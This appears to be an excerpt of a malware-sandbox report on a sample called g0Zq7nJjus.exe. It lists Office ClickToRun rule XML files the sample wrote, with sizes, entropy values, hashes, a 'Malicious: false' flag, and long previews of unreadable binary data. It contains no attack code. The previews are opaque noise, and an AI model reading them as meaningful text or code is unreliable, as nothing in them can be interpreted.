Preview:	.<?}........t.i....&m..dTc#...r=y).6.m......N6.2.........O'..s...5Pz....G.''......6.HHD..F.(lGL-KO..-..V!.E[}6.....>J..j.1...@..m2:,[b..?m..<.O!.nzw.dh.LOT.;. ...U...b......_]...9.RjC.j ....=........W...t......{r.d..c....`7......{...:.....Y.>U...79vF'....7.Z5.......g..Vv.E8.}...RCJSVSy...J.....^..-`C.kb\|.....U.V.M...}..g.......\|D.$_.-..\?Y..G...e.G.../]....ww.z:m.S..&V.X..>...hv...f..^!...q....u.P..mn_..z.........x.S...{T7... %8..o...5.@..w/.=......`...I......Q.........(..y.:..\|.j....c!..k.yi!"p4.....C.>[......TvPeN..+.......<.W5[.G.c..;...`^\(.2.<tky...".f1..6V].Z..t....%.m.......q..:.....`....b"c_....L..d......"s.M&...Vga......!...:.&.G.q#@.f..s.J..$F.......nT.&.].."..-3..l&.ypb.Y.H./..~....)...@.%..8.....mgc..........RdF2X..=.k......Jk..z...d...qv..Q'&Z...d...4....a....p#-%e.H."~...~k..ep.l.g@.42....P....c0..d.Zz.%.....w.l.T=f".Y..U[)f.k.z...v...]b#/.'.0t(..r..y..Op.Ew._.....G..u....%.fd..%E..%.\4zJ...:'..T+..q#....V.%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.876384685237052
Encrypted:	false
SSDEEP:	48:J567KBtzprLVTCUjlOcychGoWVsuULogSY+U0VD:JECbRVjIlKd/iVt
MD5:	872FAB8B601B4C2B38C5D945BE53A1C3
SHA1:	EA934E7D53DC75177591A6964D36C2CC51AFD5C9
SHA-256:	D2A35075B2A31BDE72277E5C61BACA436B17669E76C123AD029BE955277168E8
SHA-512:	DA285D280C8EDD84A94BE70C636FED6607530FD82C29EF0769C9F58C549C03806C1BC70B93C104BD8EDD059CD246847E8CE84B7662C02A98A0958C988839D54B
Malicious:	false
Preview:	.<?.,.\|..Z..G...!....]x...7.}C.....A.#..gq(.....(.r......M.U.F)kp..B..d_?t..3NJR......N+.L..E.R.#..y....1N.bSpp>.sG..S..(....C8.....Bo.!....?.../!.@>..V+........./...1..m..yf>....._...(L......I#..tu0{..J... r.`n^@..r.....kr...$..~...XC<,.~.$+.2....D>.fQ3.w..x........K.......L..j.+I.j..........{;.....e..y..u6.U..d0..U..W.1S+.!.#cE...9.)T...o.&.J35.n.N.&@..]a]?g.t...Y.[.}.;D.(.&..z.)L{m.{.c...............+..'3.).G!.l..M.l.b...2H~..g..%...N....{...S....C......\|.A.....y.P.'>.k9.l.8....jvxo1.R.=.;Ek.l...v\..$.6s...K....T0.I.'...-.U..."XL.....7...}.E.?U..<\...s....s.X.%f..`..Q..:.9.....o........:.........?9.V..}.j......j_....#..'O?m\|...z..2..Z...b....+Q...,m}/...O8;DM...Fx.=n...x.Y.....<.8..Oo..q.(..Y..mz]u.e.qQ.\ .....uL...z.o.L..H1.b...=..E..p..dC.V...\M...4.......XY.#....5..(............#..R.q.")M7..)....d.8...{?..W..J..I......DOP....!..7.g..Y...A.......,6~..O.W..$.5.9NA.M..j....\}...8Z.BY.B..2q..."..8F.ix.($.,...f............%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.8879624603536636
Encrypted:	false
SSDEEP:	48:3HiFeilBFK75Qn6ZwMCiRAqeOYFCNcJUoCD9gD:3CtFK75QgwM7RAqLYFCu9CD98
MD5:	7ED232B0147547056D62708000F546E7
SHA1:	891EA6B2AD414FCE842DE73B8BCD4F54AA3510A7
SHA-256:	E75E6F103352196E47E6725EC77E198146841F116F4FB058A681BA15D94689FA
SHA-512:	ED217529DA275627CFE28B83074C7001877676DFBA57E00D55035A1242D89113AF3854521E192C5528413217730F1D37B25D56A521DE743132118BA0D751C785
Malicious:	false
Preview:	.<?$1...'.(.4..iR..(....r;[...lA./.U[xG..i:..]...'..h.5.......j.k.[.......C.X&.v..L.Ff,.JcA.pk.:.aI...e.-.....a.9P..E..). .S..f.Z2..!......ep...F.>T.....}dw.Y@..2..v..zCx.<.b\.::.R.W:B..P{.jSd.6NEz@.{.P..lR......y.....k.AO.7.....a...d3...W.s/M.Q~.o.y...qc..D;..j..S.....j..g..m.....(...MZb..U.`.2...\..X..0..pc6i.)./....~..l.F.6V..b%........",...&..<.@...N<.@W a'....3S...%.......8..A.0...E....c..r./.....V.p9H`\.~.!:C._d..Ci....T.y'&....;.z6B.+P...9.%T@xg.p....f....../..Q..g...8.6m"U..2+..........z........E......4.....C.H...96^...8.8..?....."....=..f}...w1y. .(.....,. d.......]I{....=.Bgu.FU.....-...>o...z.r..v.[nn<..3.G....7BR'..3.......h..A.G.XSL...?.#.N\|.N\|t.o.8?.(,..=E\....uVl....'[.....R.....>.M@.P..&\.....Y...i.ca,0...#l..Y_..Z..$...\|...l.tQ.7)L<..>1?...^....2.M[M..}...7f.n..]a.9.R...\...W.=... ....n..f..Y....`..D..3U0V.4J....Z.........^....l.3.S.0Q.......@..sgL>.......W`?;.z5z.G...d.-VS....S.8.fQc#XT...YyI..v4..~y-{h.S...........a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.888607744624791
Encrypted:	false
SSDEEP:	48:uS/0wIG69YIcqVr6Ch20yfqqltKinqz+BxvSLiG0JK5Z2tD:u0IGQrO70ablLnqzgxa1JZ2V
MD5:	8658AFBE2B205AEA907F67F6567471FE
SHA1:	27BF87E8F79185B3140041237A5D2CA55DD1ADA4
SHA-256:	C80218CCBF1AA2DD86153CECF188D28A1D0A01A7C08619072043F5A4BDF48110
SHA-512:	B70958365F0FE8AE9657C949AF15DFBB41D8238040D9B44A7938F53B214F9A447473E564F07688A236012A8A384F978CB6688EB89584D6EB2BA0BEC1FFE766C4
Malicious:	false
Preview:	.<?......a........_G7.s.........X.. .E..^.+o..!Q....Z;5.'N.h...6....t.......T.....Z^..i?......k.=.u.}..c\.z..w..X.u.]%F..e.g.X...92.5.4AX1&<.2..?.;x....c...'%}.).>....2.lT>..w.X...W....@v}...f...{6..SW.?Q...n..y`B......}2$}.....k......@o.tN.Q/CN.....\..;...B^.D..\.5...C...>= ........[....<...\|u...J..vg..9d.wI.X.>CZ.3+..'T.&&.,PXKY.....k.A....y...........=....6..i....=1)r..2..$.....A.......G_>n.'..6h....F.~.rfe$...t$.........o.04.p.(..}...K.&.C..._......^.>....%.O".oC.E..t.}..(?Mc.R..>.....?......2...(...1(n5...!y......^[.C\6..,Y....s...uc..Z...\|}.].a..MC..C.].......K".iYqo\.g..EG.....l......w..zR...e..........!.l..{s.dHmxo#.79.R.....XoJ..jP<.v...D.....?p.r.D...Z...}.s..Z...!WCc.e...GL..?G.5 ...$1.~M.iU.....>..H....Yv.X........../..R.....H.....h&\:..y...8....-!\^....[.z:...Y..2......v....ZH.1...dY..=.....G.p..0....F2...F..0..sYm.......P..RY.......B.a...;.,-...CT=......$...lG0-..v..)..fV.k.WAF....yM.#..w.....R....J.b..&.../.-.....[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.886353193916426
Encrypted:	false
SSDEEP:	24:1udipO62YU+L/LpYRIdb9AgX5YO28NRGM6ipNOERmAqvxViVQnTGBdJFpxzThAQU:EdipO6YSMg9B67ipJsx4OTGDJF1iD
MD5:	9E376679D0853FE6F269648D147750DB
SHA1:	8E0484D5E7D5B2DCE23D3B831F752DCE27039D86
SHA-256:	75536FB74C321E5B336C13A0BD39AB8317E3414031FFA7F64941125B55F9D3DF
SHA-512:	7B35F28DDBF54C58807CB8DC3B75579639BD73904A23EE1FA6DC8B66149A2C6A9A41FBD51EC22C9ADFD68836C6FA5EF783D9826C736E55E678ECF22566B11539
Malicious:	false
Preview:	.<?Q.d&....n...3..%SZI1%.u...8...z......y.0.N...$...)...'!...5y&..0.....2.S.0ZG.f.=_...46.....D..$..h\|1..<1;.. ]..H.+/7...Y]G.5)...pW..;....H8......#1rT..J..\|P+..V]......z..\|...b.0.>".......\|..J..$..t.^.I....b.aA.hx...u.[v.z5.0h. 82.q6j...l3.. W.hE....gz.L..X....]..8..j..\|...gj...b.U..G.(...........9.L..b...-?us8...Vd'....;.4...?n......,.....a{...gmy..<....$.p...'..Y;mL8<...c.ez.;.a...9Q.6I......7/...@2..=.zx...X........Ap..th=p.M....\.D.W...d..2.81.`..`B..)..mS@eK......`..C.../.w-i.{.._.\|K.2..Z....Q..Nb......<...........B..(.)A.?v..X..7Y.......x...1(..32..M...t......r...Z@.y.F...%.......L....;n\..R....9..&f'...o....0.5-Aa.e...... .n..)..].... .]...T.w.h.v.VO.ra.d..k.u..^K...7./4.%..MR3eL.,.K..iH...A.C.rt,<.b.^...c*.90.Z..\|..6.&.".+.Jfj..J..Tn_.%V.j.d`P_.."{.3".....:..Pt..z9M......Sy...V.z.."...TVM0c}....s..^%..+`R.1..O.j?..... .NmN.4.....2=...JTO.qP.....&DH..'a..,.u.\|..p./&.:..5.H-....$.{...=X.3"mNtDk?.\.~...'<.7.~q..D.....M\|l.j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.904005535225203
Encrypted:	false
SSDEEP:	48:6FS7IuFuUKRkVlgFxP5RP3I1OfclsxK5D:n8RpFxPb3xfcl9x
MD5:	3D547DE74C41E207F786BE0FC3BA2288
SHA1:	A775B3D2B77C13098C19971B3888A2DDF05C92BB
SHA-256:	BDC63955D6944175E90E66000A56578D01864F538A9F2458771D89FFA46ECCD1
SHA-512:	F7BEB65BADBC65EA9DC3A33AAEB83950BE4938D4DFD21E9FFEF019A7ED6DA1A660BBA504D83C9C1DE91F83B9E0CBC4306B9D030B8894678772258A6F5CAF0CF9
Malicious:	false
Preview:	.<?......n.WXC).....uF.^..x....;.!E..M.....7..7.G.XvN............c...U./.....k..Nr....ODq ."c.......-.wo.,....<....Z3..I\R...$.}....&.&.{<...rr.q....M.b,...'....!.5^{.[...<x........d(b..}..s....{H..X?.7.;.R.O.f.J.(/&......ZhZw.)....z[.3..b+=.x.....T...5..;...}.m.?t".[......i............,..K.....%Tm....z........$`'l..<...Wg..I.#...^.i,O...L[.-.z.B...b>..._._....4xs.R2Z.%...x_..,_w.t...9F.mo..c(9ZS.dW...i.d^...k3Wb.~1..a.P.....d.X.\...S....."\...o.Y2....)c...L.+.Y92~:g..>.\.......V7z..n...!.......m.;.i.%.h.C^..{.!.e...\|.+.... 4....y.......e.kB.......G..C....T.....k=..B.."b..}.5B..&.. J.tg.Y..%..h.;.H.&..@..xF.\u.#..).w....>.A!.....J...0eb5...;#...U.T.L.^.pJk{..8GO\...z.'.,`%[..d.}.O.i..D......@!?&xMwY......UDdm..M.7.l.r......&.H#.Q.'.....j..n.l;f@+.$..,..e..2M^..N.a...Q&1n9../........r....n).!l.\.........w.........=.......$'..iQ.G.:<.....(..C"..J.9..^..BE......c.E)+HoS4..%c...l..0.<.e".5..F....\|[.Q...#. .\....G-..cl.#.:k~'.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.87587798555389
Encrypted:	false
SSDEEP:	48:7ksQy1/u9AIHQy451KdvplfDJKNCywhtqD:YsQiQSCNJK1wi
MD5:	331088D19CD2712C7648457BC51FFE58
SHA1:	84588D5F913EE7C0E02D49F55DE970618D152E79
SHA-256:	AF0F6F54FC6815900902BCD833A54B898DA33C6391FFEE472CB1D45D6FC57C0D
SHA-512:	6192F6A80333690587A669F2A474BE89F815EFAEF27FFD03299E0C84ECA4AB1C17A1BF399C3FD79ACB217EACD4F4271442407EA17C30E669E1E655FCEB0DEC63
Malicious:	false
Preview:	.<?...T.x.`..Z\v...w.i....=yD..b..n..2..:;.:..v^;N..5..y....P.l}..]y0.X.K..wq/......b.&/5DEA...F...wd.{,K'...aZ..f`]m.w.mC4,...z.........$....=.1.R,..Q-.3....3....j.`j0r...O.>............./..ad.vq..j.@..W.W..Kr......Bs.X..Np..S..V>......h.7..L...m.-..W......."(C.....q.6.pE...#.....q.......T...G....M$`..o.$Jf;..%..O.6..n...........9.V.S.......E...b`.CB.Q.s.....d..X]6b.......K....9.v\|W.1..@.z...P..\..ED}s@.a.s.t..{.....t../9\|2....hQ....1.a.?...XHQ.r...y(......q..q....a..^D.m.....O....<.x.C...<G{..........%.rw.?B.'}..-......CF.K..?...~D...w.o.)LBE-...H...T1..U.hj,.V........KS.....N)^C.q....8.S..=.w..\|s.C....l...)....s...6.[.}....nN.....z.......;..ar5W.b.Q6F..B ..b...,@..5.a.P.}zY\..T..C.3.5\........E...n.h......yB..J.M.E....N.~..A4..;...=...a.. ..{..........14.1.9.`.%..<...Z.bO.^"....\...nL\|gW.c\|b!..F..m.J..&.e......S./.!8a.Pjc...)..........0.X.Q.}...B.d...?..Io.P...u}.....:..Q.. ..G+.........c"".i^.!..&4.C.....As..x....J....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.879857260451468
Encrypted:	false
SSDEEP:	48:CJmyTfeequy9GpwDNEK71b3P5qgBpoISD:5u7YLpZf5I
MD5:	236F4471D513FC573B59B85297E730F2
SHA1:	1AA8D35BE0C784B195F53AA206171F5A4B54887E
SHA-256:	AEAAF3FBD13454AF0581524501FC6DD1AE91BA439A865D1904FFE563485F6F42
SHA-512:	2FC4D5EC913503164234B97FCE74AEC4F4E23284865E80AE3096151CD90EEDF2E60DD91E8A89CE038AA61EF2F3ED756AA6DEDCE252453E8AB1F1F5FFED26430D
Malicious:	false
Preview:	.<?....k.g....Z.P`..6=....b.C'..l"X....@....@.h.........&'b, rKr........} .O%.g..@..j...KT..=..>..A@.9Z/.U...~]3..Y\.F.c!...-.d.....`....t..# ..h..-.j.s.../.....;.J.^.D#.P..ZF.7H.-.P.vEuhH...."...WN..?@...4....q\|.F.4...N...Q\|L.&.]..?..........\|{"......<Gt..... ~i.<...0t..\."...]...(...7...b@x.../.h.......0..p...S3.[[t.......l'.M.TU.UK+...X.s........+..E...V...t.S.M.b..I@.5.L..,@t..G.y.n....".%.E..R..$;.E...lh2....B.( ..[\:...7f.....r...]l...h..+."K....J./.mQ....`..x..\l....8....WZ..r"9..T...Emo.L...\-...>py....j.q&w'A.=..%...F. ]`..:KC.o.x...PP...M.4...Qy......O.Q.l.J.....a.......$)..B....k..%e...cc.p...Z......$.;.~&..yZ..X.e.;.v..f..^.xI.%..[......p..fM..w...,.%......R..L.#5.W.x.z..p.....4..K;..23....(..Db.?u...g.`......V..^...1~0C.t........w........a.a/.['@.!wN...c,J..)m..}...A..U.8.N..0.%G...Y.....wU{.In....j.......w&.&Z.jB...%..:..K.Y.....T..E2.....t...ggi.J.^.M:}.y........0\.[..V....c.^,DDO..x.(._g.(N:0..Z...P=.O."\...)i.*...{....,2..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.876492930968609
Encrypted:	false
SSDEEP:	48:W8ud3KRKkT3TTO1uf93poK8D2gVa+svmEildbe4gAD:W8uJ0jq1u3poVKLtvFidipc
MD5:	E510A5BBA07D33304CF350ABD4447BB2
SHA1:	BF605FA925B73CE8AD0E1C78649C99C56106342A
SHA-256:	0320A678AAD2958EBA46274B96CFC7B51AA20A6265D4B60490C9E124D3662A17
SHA-512:	27ECE482CFBC74697018012C709BC3FE4188D0AEC623A407C0EE6E71976192C9992E6B531082D66A9AB2AD2B0D13E0B76094557E24A5415044FE2C28E185BD37
Malicious:	false
Preview:	.<?J.`.gw.3h.k...S%1.8..aA.p..j.....}....R.>Y...lE..t<.y.yb.....M..qv-...U..S..\|...uV&......,......3W..3......l-.[?.....U$i........;}...Y[...u..fx91c..U$.J..xJ.S.y....k....F.YK..@.<`.cJ...-.....I...;..... ]y.R.....h._\.{._.....z....j}6....d!B....^..C). ..7.kCd.....3....../.7.# ..T..#....d.PW-->....I.x.n...W.f`.z....P]..U.......=.M...3.P...\|...3.D...O.T..)....F....{5.........Au..o.2...-.B.;M4.+.p>./[7zd;.-.......s.8X.w...{..3..+%....[m.I.......&cc.....T,.b.x/2k.....T.e0.........I,.6\.x.;.Q.v.....g.zql.x..2..A%.4.$...6.k...b..:...Z"wG.%)u./^,7...E.q.+....r'.....i.I...(...8.......;.L..WI+.D.....x5...vA.r...$..$^.-."..~v.ZVl y..%-..SD.E].v....6NC6...h2.`.IfiD0..$.....S....AI$A%.Q...x..G..U.6....!.\|."....P.WU.....B(..N)>QD.)..............3.=.J..P..K.rc.K;....h..wrh..<w..c....x..7...q.........)..K.,...`=.;kB2O...10...aF.]....X....C[...'B,k5..7...^...rq...)........~N.'...9..%6A....&..(..MO.@.LP...[H?7.6...B..z9.Ah..0....T.W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.885906966340657
Encrypted:	false
SSDEEP:	48:YGMcSXOmRanG8dT3r5iKMxDEZdc+g5gZBh55fJJEZrsD:YGMcQanGY3ViKMxDS6+g5s5NfwI
MD5:	8C9760878AC358C2E66E52F4B4624CB2
SHA1:	B142C723515E3BA24DC5B12E5DB86DF2F80681B9
SHA-256:	06EFEB968F3A8AC0BF91E58FED34AF6E9E80B1B1FFBE7296BD98F7B9057EF866
SHA-512:	69B34995314BFA1E41DDA8BDCDE928B8E9C8CFF8AC02B34641E40260A5D786F42963586C9BD2CC45A64AF810ABDCF2B92F3B22D014E92A0D84D968D8BABDA06A
Malicious:	false
Preview:	.<?.W.^I.....\..<..W...sd...._k.4..SJ.......@/......'2... c.`>.n.......xw.He...\| ...#.J.ztd....`C.....G./.a?.8H{+..Gx.j...^t....!..M...X.jum^..J...P.,....g.."O".......,J.&..!.......xZ%..i2...E..p....3[.W:+=.............h.<..f]%.....<t..........3."....:...2.W.f.F.1.#.%........#.e.....en..4.#.o.P.]e.],.R5...{..C.8...6......{..:.t....?a.K..RT\|~..".Z.9z...9.OT.@ .\..........K..=.{O\.F.^KY...9.......^.8<.1m....UJ..FtKu....@.......T...}.B"@FM..{...c..M..........=vfm.0..o.....!..)4.39.......4.Ul9..dHM. X...X..t.>..1..$R...m@.b<..?."y..b...k.I{..Fc,...N\|w@FjA....4.).gx/.....kd.T.......".M.zC.K.]]......i.w..T....g?..Z..uY\|.Q......a.y.......s.....t.A....D.....{.J\{..w.#...$.<zq.N.o...>..Op.).?Y....>4..e.tH.c3~N.o.......^..b.......I..........-...D<..c...mx.. ][......5...a..~..a[Jh..Fd..?/....:$mx03-4.....J ...T.i.D]$..J._..X..L.)..J.x\QW..`..6..1n@f..f.n..Ry......I.9.ec..V@.....*..&...2.o..{...W{....../.H....s.......^...,..Z."..K........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.878885393859342
Encrypted:	false
SSDEEP:	48:3cfnWcc/2zBwV8cmyWdEyAMs2uYOXkvkkMoTTlnWpz8fCD:sPWcc+zmmci6yA1/KBnWpIfK
MD5:	802D879BC4E3C17BE80141D68EBF8EB5
SHA1:	3A4AC5B34B27F4308855AA782AEC0A305034C312
SHA-256:	BC29B59A8931EFF9F7932FAFAFB803151F89AFDB9BDEF2A58F3D678BDBF45759
SHA-512:	4F0C69BBCF3BE95615A152B189870E26ABF778B50CB526058C6FBB7690BD170DE264844FD0074F7B1D927CC1A0E814C8D404441E98051277EB215D601614A90B
Malicious:	false
Preview:	.<?.<.qs...h........Z.;.W....2M.I..#Ai..N.@<..0......d.E......7.xx..?p.%'.r.R..$..,..i.x.../l'.x...(.5i$....."_...[:..b..........[t$.n.....F..v.P..w.....@.w.1.>.._....ag...#+.URH.eG..7..1.../....s.A.m.\ J.`...kH..{..l.@....k.=...DI..G.....z..@...F...f.....l...m.a...>.N6 9.dV.....T..i.X.-.g!........jCH[.z5~...N`..W.e}..F..E..R.@;...T....nK5..............~..w.Z...M.\.&...P""_.E,.<.9....s...........zB.../ja.Ns.OUe...\..E."kk....NR.M.........m8.`...>.#.X..U2<1G...;...G.....9.?...x..vC9..>.!......0./.F..R.y.6...T...Xh.W...M. ........-......#.M...d.f......+......"..Kv..=..fa.....&../Rf..dF[c.q9g9..Nv..J.7.....L."..`.:9......<..x>]...S....V-............3.I.<&..x...y....W....u...4....7.e...T..(..N....A..?.D..xX.E\.\..1_..\|..Kr.=...h.a.?2X&.n...oA-}.d.O{3[8X..FM.wO-..f>....\|.4.)7.&..f..dhH.}.@.1...od-.#+..s..+.M*.e.e."W.(.1nQ.Bi.....zv...r..&.>U.4..T...4..+.'..G......XS"7<$.ZD..e.=9JAn$.E@...W..=..(.-.Bl..b.9...........B"<.{Ohg....~...-\..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.883779131801669
Encrypted:	false
SSDEEP:	24:UhRfPDUzALK84kG51j/N8+L3sKlc6qhzaDxKsusfcvu8BDNfczKxY2bD:yRXyKKBkGlKKfWza4Mc5BDNseD
MD5:	495720CAFF495BB542F3600812535C1F
SHA1:	080C5122C2EA7DFCEA1EFC020532162FE40ACA03
SHA-256:	5568B63B2214D433B4984CA83E267901FE099EC3A0AAF653F451C6E937CBE2A5
SHA-512:	8991DB43E0A265A14DEADD269F9D7EE53DAC9D99C9F9B6A7BB16D6AD5A7DA5FF8B12EF03488FCF733BBF7B90AB4A54AE72B82AA98BF4D411F460736153AEF53D
Malicious:	false
Preview:	.<?\|...y....u/J...h,.....uO.\|.T.H.6.......n...M.m...{._.......................n8_...I d..f[.M..X.j]....9.~hv]N....tsr\|Dg.%q....d.g....v....P...;.f.\K....I<..J}X..YcK7...c..j.. `.k..k.@~."....n.....E....[.J.* ..g...t,.:..dB@.~.O}F..p.S..% .i..K.%.I./^".....)....e]<..wq.pae $L.iPXV...;B.#..]S....8(F(.....w...........v..g..-...A......3...>..=..n.....)B..MS).T.h~^.x.f..~-...0.a.a....D:q.C.R8]..-_.....aU.N.o.5G.....;8.9...w.K...h......... .......<&j.qy....<.i.I..~......2.B.+..D.}F`..]..K83..~..Ap..1yV1.G.s.h.8nn.).="=.o..>.l;VH../fZ..9..fMR..K.k<>..z.o.?..cJ.GA>0K. ..0.....-.H[.H#......hT...0..[0.[..m:./Y.,..f....b.a.h.Q..rC......dwp..;{~.......[m..RI...+..&...j...13.%..u=.M...R....K..:^....bI.+ w..!....9..y..T.....p...)Qi.;..\|b...P.t..a.= C1X.l.kF....%..G..(fG.}<..........{.......4....k....B.."....b...iV....%......-...._L..M=....;.5.".N..YG.b...P%..*...ed#.A.M...Az. uj.....aJ.I.......CM....z,Y...".........($z.......r....WwZ...k+tj.dB....6.\......u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.8933681724042
Encrypted:	false
SSDEEP:	48:xseRSugDKoIUnZXD/f28Q3mAbuiJYKEz/TQBHD:xZSKopZbymUmKEzc
MD5:	688EAD63A60B9E1BE8FCBF27E2580673
SHA1:	22236517002DAC79AB76768939826739EC022671
SHA-256:	87FC5D88D3660BC1F636ECCFABFCF577C0DF7A8AFB293EB3D810D0E1CAA7793A
SHA-512:	813782B64B5B9BDF987062274824C1FAEFC0BCE4D4E15BA8D8ADC61996A32ABF3FDC9AC770454EF50A608AF8C49B792F6EE1B9E2FDCA6E6636608E488E80BD16
Malicious:	false
Preview:	.<?KA7......d..^.I..../A....t^..7...Z#..#q`.m"........b0U.....[<...".zlS...3.]r.\|.?..>gn.4...m.a.+..[Y.d.....o.hmm3..........'.w...8.$.Bp.g.^v..G.w.}.E............M...!".1..m .{N..W.V....O.........\....}~m...a[..........2./}c..P...m(..D..;.=U.M......../..ny#.......&\|O...v...X.......>..N.T..7.X.X..um`._....Z..=\|...U....aB...!.G...o..@R.........^...s.......+..(./.-_.e6....\....:b^...qS..... %.q.g0.a.H0Ygd...d.i...c.w....e....1.....-.y.>......A.o,..4.s....&q....`...R.E].....#..........n[...~.}.!...j..............)%eGp%.....=[......3..L..S.[.FK.!8..&a.&....r.....uC".SN.]......'Xxv."..J...f$...........-....{yh.j.pO.....7.o=.B{.r..8..hGf......HQ.0...E..z.Y........'L...:...z..UV.SYb.D5.xlN.64=..C.%..D....-d~{K1~*g.Om....Le..{zD\....bX2..D...,..P.......'...u.6$.C^ I........3(.n.m..x.HR....r.......<.%./.]..H4.<......W.b".Q.b.?.i...={{.PF..8..,$q<5..CE...K0M[Z..rg.Z.)..8.U.>....I.2,.S..ks?~2'.#.z9\..9!.......;.'}L.L....R.-..].<.......I..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.881243988953393
Encrypted:	false
SSDEEP:	48:R0PCaV5Xe4aoC+f9/WfIR0TaEAAwoJsDRTeyaIC+0K1+lD:R9yJex+f8gStfbJsDZeyav
MD5:	0863B4BD7C9A76822DB8B643FCF97BE3
SHA1:	AB6CA6CA2768BE2C07D08C09FD32A3CC19FB742C
SHA-256:	AC78ADA1783E56BBDD01C4FED6009E5CA8A4D0E846E1F40FB90F05CD8FC7D8ED
SHA-512:	CD0C6585047B33E27BFC575F75D05975B7E422813501D7E45A8510331FC43EA889A3268A245A1CA55E9BE9C93CAC768A0AB36837C91CF3ED1D5942C4960C5CFE
Malicious:	false
Preview:	.<?W.....-.6...(...!!..J...q.Pw.g.../...#`....."r.~...../.}`.w..}hP).\|S....\|.......+y...gHt}..'b5.UsI.u.].,{.).$u.K\|..5.p>"..w.H...R)y.........g...z..9.....<."l....i..@.D(.iOD$m.q.......#.O...y.....qFD.i.j.D.q..\|..~...dB..-[....^\&..Y...].xe).9.G?....[....`..!.....,Y=.c.....$.......2>...$..r.y....H.Q...oW..6\|..V.y..RJ..9...........&.H...z.Au..d...?..)1..Dm.@TY..>..N....2y1Ydn....4....v...(..(".b..E..8...Q.H.~+.+U....0......?...zL...^....Uf.T./x.L.z.o..,.....8s...U.&.@..6...-4R..0OcG.:..k @..D#..&....~0..h...e.w}..T.]...\|..R:..vNjV..B\.x...SJ2y(.JQ...^.Wh..}....`}\.=d..C.7..@w1.TO..w......R....d.\.g}...5.qw.r`1.-..!X...\|?..#Y..a..7..@..aq...'.hvg1....A4........z...`...z.:..z...w..Tp......'[..46....bi.R#..N...xo.H.\....U.x1.S...l..G.x..\|V..M.w!!..).2.!].."..!........N`....S..K\./}...L.#...f.x,..B'...WS..1.om...r...(wv.b.H.#"k.UL..I...@u...Y..........bHGu.....f..N...b..p.gU..N..\b..i).W...2..i#..v_9..\Q,.+C_.)+~N.xC.[.X.._].xG...H.Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.900337715400215
Encrypted:	false
SSDEEP:	48:WqP8TOOx1SLcyR03MzZ+GuJkR1C/PiVADD:WK8TOy4LF08UGRC/Pp
MD5:	4E7649BB258C540B0DEB629725FBA625
SHA1:	1B175C605034059E5A367AF07A585604371E56A9
SHA-256:	2E1CA10FF6581AFE1B203B73F41E67FC15563B896D638ACCD27E3E06420931EB
SHA-512:	503A670F6C48D85B4A7FBBD549C5185374E211133F0569AD49E4CE47BFA1A54ECC85E1F79920E6A91206037838D6C963974C5077CD2BCF810D4BE2DC35063C7B
Malicious:	false
